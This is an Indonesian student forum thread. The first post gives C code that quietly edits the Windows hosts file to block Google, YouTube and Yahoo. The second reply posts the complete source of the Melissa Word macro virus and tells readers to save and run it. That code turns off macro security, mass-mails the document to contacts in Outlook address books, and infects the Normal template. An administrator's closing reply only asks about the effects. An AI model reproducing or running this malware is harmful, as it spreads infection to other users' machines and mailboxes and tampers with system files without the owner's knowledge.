Welcome, Guest. Please login or register.

Author Topic: virus block website  (Read 1911 times)

Offline Muhammad Assafar

  • JTE Members
  • Newbie
  • ***
  • Posts: 17
  • hhiiiaaatttkkk
  • OS:
  • Windows XP Windows XP
  • Browser:
  • Firefox 3.0.5 Firefox 3.0.5
  • NIM: 0641510008
  • NIP: NONE
virus block website
« on: January 23, 2009, 11:21:13 AM »
ada sedikit tips maniz nie.... baru nemu nie.. sapa tau berminat... ;)
 langsung aja di tes....tes....tes....dan tes.... ;D ;D ;D
sourcecode sederhana dari cpp/c yg berguna membuat virus untuk memblock website......

Code: You are not allowed to view links. Register or Login
#include<stdio.h>
#include<dos.h>
#include<dir.h>

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

simpan sourecode diatas kedalam cpp/c
trus jalan kan dech.... moga sukses ;D
  • Jalankan nama_file.exe, restart browser dan ketik You are not allowed to view links. Register or Login, maka akan muncul Page cannot displayed.
  • Untuk mengembalikannya, buka Start Run dan cari %windir%\system32\drivers\etc
  • Buka File hosts maka akan terlihat 127.0.0.1 google.com
  • Hapus site yang diblok dengan cara klik kanan hosts, lalu delete
You are not allowed to view links. Register or Login

fardian

  • Guest
Re: virus block website
« Reply #1 on: January 23, 2009, 11:42:48 PM »
Yakin itu virus? karena sepengetahuan saya yang disebut suatu virus adalah suatu program komputer yang dapat menggandakan diri dan menginfeksi suatu komputer tanpa permisi atau sepengetahuan sipengguna (terjemahan bebas dari You are not allowed to view links. Register or Login).

Mungkin listing program di bawah lebih cocok disebut sebagai program utk memblock suatu site.

Btw, ngomong2 masalah program utk memblock website, saya dapat suatu program (gratis) yang menurut saya bagus utk bisa di pake utk ngeblock website2 terlarang.

Untuk lebih lengkapnya silahkan kunjungi: You are not allowed to view links. Register or Login

jir_inside

  • Guest
Re: virus block website
« Reply #2 on: March 24, 2009, 08:16:07 PM »
itu mah bukan virus...TSnya g jelas ni...nih kalo mw contoh script virus...

Code: You are not allowed to view links. Register or Login
Private Sub AutoOpen()

On Error Resume Next

p$ = "clone"

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") <> "" Then

CommandBars("Macro").Controls("Security...").Enabl ed = False

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") = 1&

Else

p$ = "clone"

CommandBars("Tools").Controls("Macro").Enabled = False

Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)

End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

Set UngaDasOutlook = CreateObject("Outlook.Application")

Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo" Then

If UngaDasOutlook = "Outlook" Then

DasMapiName.Logon "profile", "password"

For y = 1 To DasMapiName.AddressLists.Count

Set AddyBook = DasMapiName.AddressLists(y)

x = 1

Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)

For oo = 1 To AddyBook.AddressEntries.Count

Peep = AddyBook.AddressEntries(x)

BreakUmOffASlice.Recipients.Add Peep

x = x + 1

If x > 50 Then oo = AddyBook.AddressEntries.Count

Next oo

BreakUmOffASlice.Subject = "Important Message From " & Application.UserName

BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

BreakUmOffASlice.Send

Peep = ""

Next y

DasMapiName.Logoff

End If

p$ = "clone"

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") = "... by Kwyjibo"

End If

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)

Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)

NTCL = NTI1.CodeModule.CountOfLines

ADCL = ADI1.CodeModule.CountOfLines

BGN = 2

If ADI1.Name <> "Melissa" Then

If ADCL > 0 Then _

ADI1.CodeModule.DeleteLines 1, ADCL

Set ToInfect = ADI1

ADI1.Name = "Melissa"

DoAD = True

End If

If NTI1.Name <> "Melissa" Then

If NTCL > 0 Then _

NTI1.CodeModule.DeleteLines 1, NTCL

Set ToInfect = NTI1

NTI1.Name = "Melissa"

DoNT = True

End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then

Do While ADI1.CodeModule.Lines(1, 1) = ""

ADI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")

Do While ADI1.CodeModule.Lines(BGN, 1) <> ""

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

p$ = "clone"

If DoAD = True Then

Do While NTI1.CodeModule.Lines(1, 1) = ""

NTI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")

Do While NTI1.CodeModule.Lines(BGN, 1) <> ""

ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then

ActiveDocument.Saved = True: End If

'WORD/Melissa written by Kwyjibo

'Clone written by Duke/SMF

'Works in both Word 2000 and Word 97

'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!

'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."

End Sub
save dalam format VBS(mis:diaryku.vbs)...jalankan n  ;)
« Last Edit: March 24, 2009, 08:18:30 PM by jir_inside »

Offline Rizal Munadi

  • Administrator
  • Hero Member
  • *****
  • Posts: 623
  • OS:
  • Windows 7 Windows 7
  • Browser:
  • Firefox 24.0 Firefox 24.0
  • NIM: NONE
  • NIP: 132061399
Re: virus block website
« Reply #3 on: September 29, 2013, 01:02:59 AM »
Sebelum ada yang bermasalah, mohon pencerahannya efek virus yang disampaikan pada contoh.
Rizal Munadi